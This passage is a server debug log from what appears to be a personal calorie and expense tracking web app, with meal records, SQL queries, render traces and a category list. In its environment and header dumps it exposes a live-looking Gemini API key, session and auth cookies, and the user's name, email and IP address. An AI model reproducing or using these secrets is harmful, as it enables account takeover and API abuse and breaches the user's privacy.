    replacements: 'Air-popped popcorn (unsalted),Cucumber slices,Celery sticks',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 1,
    skip_reason: "Makhana is a healthy, low-fat, and good source of carbohydrates, fiber, and some protein. It's a much better snack choice compared to processed alternatives and provides sustained energy, aligning well with muscle development goals."
  },
  {
    id: 411,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Herbal tea (unsweetened)',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is an excellent beverage, rich in antioxidants and has negligible calories. It supports metabolism and overall health without hindering muscle development goals.'
  }
]
2025-12-16T11:20:28.932Z server-connect:app Executing action step setvalue
2025-12-16T11:20:28.933Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T11:20:28.933Z server-connect:output var_total: 1313
2025-12-16T11:20:28.933Z server-connect:app Executing action step setvalue
2025-12-16T11:20:28.933Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T11:20:28.933Z server-connect:output var_consumed: 55
2025-12-16T11:20:28.933Z server-connect:app Executing action step setvalue
2025-12-16T11:20:28.933Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T11:20:28.933Z server-connect:output var_deficit: 1087
2025-12-16T11:20:28.933Z server-connect:app Executing action step custom
2025-12-16T11:20:28.933Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T11:20:28.934Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '1313',
    surplus_or_deficit: '1087',
    status_flag: 2
  }
]
2025-12-16T11:25:28.182Z server-connect:router Serving templateView /
2025-12-16T11:25:28.182Z server-connect:app Executing action step identify
2025-12-16T11:25:28.182Z server-connect:app options: { provider: 'security' }
2025-12-16T11:25:28.182Z server-connect:output identity: 1
2025-12-16T11:25:28.182Z server-connect:app Executing action step restrict
2025-12-16T11:25:28.182Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T11:25:28.184Z server-connect:output restrict: undefined
2025-12-16T11:25:28.184Z server-connect:app Executing action step restrict
2025-12-16T11:25:28.184Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T11:25:28.185Z server-connect:output restrict: undefined
2025-12-16T11:25:28.185Z server-connect:router Render template layouts/main
2025-12-16T11:25:28.185Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fd6b-2nj3CoTIairv3RmAJ9dRRAFKABM"',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T12:38:44.137Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fd6b-2nj3CoTIairv3RmAJ9dRRAFKABM"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-16T11:25:28.944Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T11:25:28.945Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T11:25:28.945Z server-connect:app Executing action step identify
2025-12-16T11:25:28.945Z server-connect:app options: { provider: 'security' }
2025-12-16T11:25:28.945Z server-connect:output identity: 1
2025-12-16T11:25:28.945Z server-connect:app Executing action step restrict
2025-12-16T11:25:28.945Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T11:25:28.946Z server-connect:app Executing action step identify
2025-12-16T11:25:28.946Z server-connect:app options: { provider: 'security' }
2025-12-16T11:25:28.946Z server-connect:output identity: 1
2025-12-16T11:25:28.946Z server-connect:app Executing action step restrict
2025-12-16T11:25:28.946Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T11:25:28.947Z server-connect:output restrict: undefined
2025-12-16T11:25:28.947Z server-connect:app Executing action step select
2025-12-16T11:25:28.947Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T11:25:28.948Z server-connect:output restrict: undefined
2025-12-16T11:25:28.948Z server-connect:app Executing action step single
2025-12-16T11:25:28.948Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T11:25:28.949Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T11:25:28.951Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T11:25:31.158Z server-connect:router Serving templateView /
2025-12-16T11:25:31.159Z server-connect:app Executing action step identify
2025-12-16T11:25:31.159Z server-connect:app options: { provider: 'security' }
2025-12-16T11:25:31.159Z server-connect:output identity: 1
2025-12-16T11:25:31.159Z server-connect:app Executing action step restrict
2025-12-16T11:25:31.159Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T11:25:31.160Z server-connect:output restrict: undefined
2025-12-16T11:25:31.160Z server-connect:app Executing action step restrict
2025-12-16T11:25:31.160Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T11:25:31.161Z server-connect:output restrict: undefined
2025-12-16T11:25:31.161Z server-connect:router Render template layouts/main
2025-12-16T11:25:31.161Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T12:38:44.137Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-16T11:25:31.651Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T11:25:31.652Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T11:25:31.652Z server-connect:app Executing action step identify
2025-12-16T11:25:31.652Z server-connect:app options: { provider: 'security' }
2025-12-16T11:25:31.652Z server-connect:output identity: 1
2025-12-16T11:25:31.652Z server-connect:app Executing action step restrict
2025-12-16T11:25:31.652Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T11:25:31.652Z server-connect:app Executing action step identify
2025-12-16T11:25:31.652Z server-connect:app options: { provider: 'security' }
2025-12-16T11:25:31.653Z server-connect:output identity: 1
2025-12-16T11:25:31.653Z server-connect:app Executing action step restrict
2025-12-16T11:25:31.653Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T11:25:31.653Z server-connect:output restrict: undefined
2025-12-16T11:25:31.653Z server-connect:app Executing action step select
2025-12-16T11:25:31.653Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T11:25:31.654Z server-connect:output restrict: undefined
2025-12-16T11:25:31.654Z server-connect:app Executing action step single
2025-12-16T11:25:31.654Z server-connect:app options: {
  connection: 'db',
